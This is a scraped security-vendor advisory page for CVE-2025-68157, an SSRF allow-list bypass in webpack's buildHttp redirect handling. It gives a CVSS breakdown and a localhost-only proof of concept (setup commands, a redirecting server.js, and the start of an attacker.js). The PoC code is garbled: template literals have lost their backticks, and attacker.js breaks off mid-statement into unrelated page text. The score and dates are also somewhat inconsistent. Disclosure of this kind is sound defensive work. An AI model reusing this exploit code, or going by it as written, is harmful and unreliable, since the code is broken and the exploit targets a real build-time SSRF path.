Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-68157 — webpack

🟢 CVSS 2.0 — Low ⚠️ Exploit Public CWE-918 OSV
2.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

webpack buildHttp HttpUriPlugin allowedUris bypass via HTTP redirects → SSRF + cache persistence

Summary

When experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache.

Details

In the HTTP scheme resolver, the allow-list check (allowedUris) is performed when metadata/info is created for the original request (via getInfo()), but the content-fetch path follows redirects by resolving the Location URL without re-checking whether the redirected URL is within allowedUris.

Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs.

Figure 1 (evidence screenshot): left pane shows the allowed host issuing a 302 redirect to http://127.0.0.1:9100/secret.js; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache.

<img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" />

PoC

This PoC is intentionally constrained to 127.0.0.1 (localhost-only “internal service”) to demonstrate SSRF behavior safely.

1) Setup

```bash

mkdir split-ssrf-poc && cd split-ssrf-poc

npm init -y

npm i -D webpack webpack-cli

```

2) Create server.js

```js

#!/usr/bin/env node

"use strict";

const http = require("http");

const url = require("url");

const allowedPort = 9000;

const internalPort = 9100;

const internalUrlDefault = http://127.0.0.1:${internalPort}/secret.js;

const secret = INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)};

const internalPayload =

export const secret = ${JSON.stringify(secret)};\n +

export default "ok";\n;

function start(port, handler) {

return new Promise(resolve => {

const s = http.createServer(handler);

s.listen(port, "127.0.0.1", () => resolve(s));

});

}

(async () => {

// Internal-only service (SSRF target)

await start(internalPort, (req, res) => {

if (req.url === "/secret.js") {

res.statusCode = 200;

res.setHeader("Content-Type", "application/javascript; charset=utf-8");

res.end(internalPayload);

console.log([internal] 200 /secret.js served (secret=${secret}));

return;

}

res.statusCode = 404;

res.end("not found");

});

// Allowed host (redirector)

await start(allowedPort, (req, res) => {

const parsed = url.parse(req.url, true);

if (parsed.pathname === "/redirect.js") {

const to = parsed.query.to || internalUrlDefault;

// Safety guard: only allow redirecting to localhost internal service in this PoC

if (!to.startsWith(http://127.0.0.1:${internalPort}/)) {

res.statusCode = 400;

res.end("to must be internal-only in this PoC");

console.log([allowed] blocked redirect to: ${to});

return;

}

res.statusCode = 302;

res.setHeader("Location", to);

res.end("redirecting");

console.log([allowed] 302 /redirect.js -> ${to});

return;

}

res.statusCode = 404;

res.end("not found");

});

console.log(\nServer running:);

console.log(- allowed host: http://127.0.0.1:${allowedPort}/redirect.js);

console.log(- internal-only: http://127.0.0.1:${internalPort}/secret.js);

})();

```

3) Create attacker.js

```js

#!/usr/bin/env node

"use strict";

const path = require("path");

const os = require("os");

const fs = require("fs/promises");

const webpack = require("webpack");

const webpackPkg = require("webpack/package.json");

const allowedPort = 9000;

const internalPort = 9100;

const allowedBase = http://127.0.0.1:${allowedPort}/;

const internalTarget = http://127.0.0.1:${internalPort}/secret.js;

const entryUrl = ${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)};

async function walk(dir) {

const out = [];

const items = await fs.readdir(dir, { withFileTypes: true });

for (const it of items) {

const p = path.join(dir, it.name);

if (it.isDirectory()) out.push(...await walk(p));

else if (it.isFile()) out.push(

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2025-68157 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2025-68157 is recorded against 1 package.

  • webpack

Timeline and source

Published on 5 February 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Other advisories for this package

webpack has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-918: Server-Side Request Forgery (SSRF)) in other software:

CVE-2025-68157 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity LOW
CVSS Score 2.0
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
CWE CWE-918
Public Exploit ⚠️ Yes
Source OSV
Published 2026-02-05
Updated 2026-08-20
Modified 2026-06-17
Fix URL N/A

Affected Packages

Software From version Fixed in
webpack — —

Exploit Protection

Are you running webpack?

CVE-2025-68157 carries CVSS 2.0 Low rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-68157 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025
✓